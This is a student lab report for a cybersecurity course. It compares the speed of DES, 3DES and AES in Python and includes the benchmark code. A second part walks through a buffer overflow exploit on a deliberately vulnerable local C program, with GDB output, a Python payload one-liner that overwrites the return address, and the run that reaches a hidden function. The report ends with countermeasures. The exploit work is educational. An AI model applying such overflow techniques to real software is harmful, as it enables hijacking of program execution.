CS/IT 445 Software and Cybersecurity
LAB2

Name: Sanskar Koserwal

Roll No.: 202211077

Task 1: Comparison of different Ciphers

Introduction

Block ciphers that rely on symmetric keys play a crucial role in securing digital information. They offer both fast and reliable encryption and decryption. In this study, we evaluate the performance of four widely used algorithms: DES, Triple DES (3DES), AES-128, and AES-256. The implementation is carried out in Python with the help of the PyCryptodome library to measure and compare their efficiency.

The experiment was entirely developed and executed in Python. While standard Python modules were used for common hashing functions, additional optimized libraries were incorporated for certain operations. To maintain consistency, the entire process was managed through a single script.

System Specs

- **Processor**: Ryzen 7 5800H
- **RAM**: 16 GB DDR4
- **Operating System**: Windows 11 Home x64, Version 24H2
- **Python Version:** 3.12 (64-bit)
- **Library:** PyCryptodome 3.20.0

Ciphers Used

DES (Data Encryption Standard)

The Data Encryption Standard (DES) secures information using a Feistel network structure. In this design, the input data undergoes a series of transformations across 16 rounds. During each round, a different subkey—derived from the main encryption key—is applied to modify and scramble the data.

This repeated process can be compared to shuffling a deck of cards: with every shuffle (or round), the arrangement becomes increasingly complex. By the end of all 16 rounds, the original data is thoroughly transformed, making it extremely difficult to reconstruct without the correct key.

Triple DES (3DES/TDEA)

Triple DES (3DES) strengthens the original DES algorithm by applying it three consecutive times instead of once. The most widely used approach is known as the Encrypt–Decrypt–Encrypt (EDE) method. In this process, the data is first encrypted using Key 1, then decrypted with Key 2, and finally encrypted again with Key 3.

This layered structure significantly enhances security compared to standard DES, but it also increases computational cost, making the algorithm slower in practice. The decryption procedure follows the reverse order of operations to restore the original data.

AES (Advanced Encryption Standard)

AES is a modern algorithm that uses a substitution-permutation network instead of a Feistel structure. Each round applies four steps: **SubBytes** (byte substitution using a lookup table), **ShiftRows** (row shifting), **MixColumns** (column mixing), and **AddRoundKey** (combining with part of the key). Depending on the key size—128, 192, or 256 bits—AES runs for 10, 12, or 14 rounds, making it highly secure and the global encryption standard.

Results

Sr. No.	Cipher	Key Size (bits)	Block Size (bits)	Avg Encrypt Time (s)	Avg Decrypt Time (s)	Priority
1	AES-128	128	128	0.002090	0.002322	1
2	AES-256	256	128	0.002282	0.002581	2
3	DES	56	64	0.014793	0.014389	3
4	Triple DES	168	64	0.040547	0.039857	4

Observations

- AES (128 and 256-bit) delivered the fastest encryption and decryption speeds, reinforcing its position as the modern cryptographic standard.
- DES is faster than Triple DES but far slower than AES, and its short key length makes it insecure.
- Triple DES incurred the highest computational cost due to additional rounds and keys, and is now used only for legacy systems.
- The slight speed gap between AES-128 and AES-256 highlights AES's efficiency, with AES-256 offering stronger security.

Source Code

```
import os
import time
from Crypto.Cipher import DES, DES3, AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes

# Generate a chunk of random bytes (default: 1MB)
def generate_random_bytes(size=1024*1024):
    return os.urandom(size)

# Function to measure average encryption/decryption times
def evaluate_cipher(label, cipher_factory, key_func, block_len, plaintext, mode):
    enc_durations = []
    dec_durations = []

    for _ in range(10):  # repeat to get stable averages
        key = key_func()
        iv = get_random_bytes(block_len)

        # Setup cipher for encryption
        cipher_enc = cipher_factory(key, mode, iv)
        padded_data = pad(plaintext, block_len)

        # Time encryption
        start_time = time.perf_counter()
        ciphertext = cipher_enc.encrypt(padded_data)
        enc_durations.append(time.perf_counter() - start_time)

        # Setup cipher for decryption
        cipher_dec = cipher_factory(key, mode, iv)
```

```
        # Time decryption
        start_time = time.perf_counter()
        recovered = unpad(cipher_dec.decrypt(ciphertext), block_len)
        dec_durations.append(time.perf_counter() - start_time)

        # Ensure correctness
        assert recovered == plaintext

    avg_enc = sum(enc_durations) / len(enc_durations)
    avg_dec = sum(dec_durations) / len(dec_durations)
    print(f"{label}: Encrypt Avg = {avg_enc:.6f} s, Decrypt Avg = {avg_dec:.6f} s")

# Run benchmarks with different algorithms
test_data = generate_random_bytes()

evaluate_cipher(
    "DES",
    DES.new,
    lambda: get_random_bytes(8),
    8,
    test_data,
    DES.MODE_CBC
)

evaluate_cipher(
    "3DES",
    DES3.new,
    lambda: DES3.adjust_key_parity(get_random_bytes(24)),
    8,
    test_data,
```

```
    DES3.MODE_CBC
)

evaluate_cipher(
    "AES-128",
    AES.new,
    lambda: get_random_bytes(16),
    16,
    test_data,
    AES.MODE_CBC
)

evaluate_cipher(
    "AES-256",
    AES.new,
    lambda: get_random_bytes(32),
    16,
    test_data,
    AES.MODE_CBC
)
```

Task 2: Buffer Overflow Attack

Introduction

The primary aim of this lab was to explore buffer overflow vulnerabilities. We carried out a practical attack on a C program by intentionally overloading a buffer with excess data, causing it to overflow. This overflow allowed us to gain control of the program's execution and trigger a hidden function named secret(), which is not normally accessible during regular program operation.

System Specs

- **Processor**: Ryzen 7 5800H
- **RAM**: 16 GB DDR4
- **Operating System**: Windows 11 Home x64, Version 24H2 with WSL2 (Ubuntu 22.04 LTS)
- **GCC Version:** gcc (Ubuntu 11.4.0)
- **GDB Version:** GNU gdb (Ubuntu 15.0.50.20240403-git)

Determining the Offset

Step: A long sequence of "A" characters was provided as input to the vulnerable program.

Observation: When 80 "A"s were sent, the program crashed. On inspecting the process state in GDB, it was noticed that the saved return address on the stack was altered. The corruption began right after the 72nd character.

Conclusion: The offset, i.e., the number of bytes required to overwrite the saved return address, was found to be 72.

Crafting the Payload

Instead of traditional **shellcode injection**, I constructed a payload using **Python**. The payload consisted of:

1. **Padding** – 72 As to fill the buffer and overwrite the saved RBP.
2. **Return Address** – the address of the secret() function in littleendian format.

The address of secret() was found in GDB:

```
(gdb) disassemble secret
Dump of assembler code for function secret:
   0x0000000000401176 <+0>:     endbr64
   0x000000000040117a <+4>:     push   %rbp
   0x000000000040117b <+5>:     mov    %rsp,%rbp
   0x000000000040117e <+8>:     lea    0xe83(%rip),%rax        # 0x402008
   0x0000000000401185 <+15>:    mov    %rax,%rdi
   0x0000000000401188 <+18>:    call   0x401070 <puts@plt>
   0x000000000040118d <+23>:    nop
   0x000000000040118e <+24>:    pop    %rbp
   0x000000000040118f <+25>:    ret
End of assembler dump.
(gdb) quit
```

Payload Construction

- `sanskar@Victus:~$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*72 + (0x401176).to_bytes(8,"little"))' > payload`
- `b"A"*72` → fills buffer + saved RBP.
- `\x76\x11\x40\x00\x00\x00\x00\x00` → overwrites RIP with address of secret().

Running the Exploit

Compiled with protections disabled:

```
gcc -fno-stack-protector -z execstack -no-pie vulnerable.c -o vulnerable
```

Output

```
sanskar@Victus:~$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*72 + (0x401176).to_bytes(8,"little"))' > payload
sanskar@Victus:~$ ./vulnerable $(cat payload)
-bash: warning: command substitution: ignored null byte in input
Buffer content: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv@
You have successfully executed the secret function!
Illegal instruction (core dumped)
sanskar@Victus:~$
```

Explanation of Logic

The buffer overflow exploited in this lab overwrote the return address stored on the stack. Under normal circumstances, the program would have returned to main after executing vulnerable_function. However, by overwriting the instruction pointer (RIP) with the address of the hidden secret() function, the program's control flow was redirected to execute that function instead. This clearly demonstrated how attackers can hijack a program's execution flow through carefully crafted payloads.

Countermeasures

Buffer overflow vulnerabilities pose serious security risks, often enabling remote code execution. To reduce the likelihood of such attacks, developers should apply the following practices:

1. **Use safe functions** – Replace insecure functions such as strcpy, gets, and sprintf with safer options like strncpy, fgets, and snprintf.
2. **Enable stack protection mechanisms** – Compile with security flags such as -fstack-protector and employ techniques like stack canaries to detect corruption.
3. **Implement Control Flow Integrity (CFI)** – Ensure that program execution adheres strictly to valid control paths.
4. **Conduct thorough reviews and analysis** – Perform regular code reviews and use static analysis tools to identify and eliminate unsafe memory operations.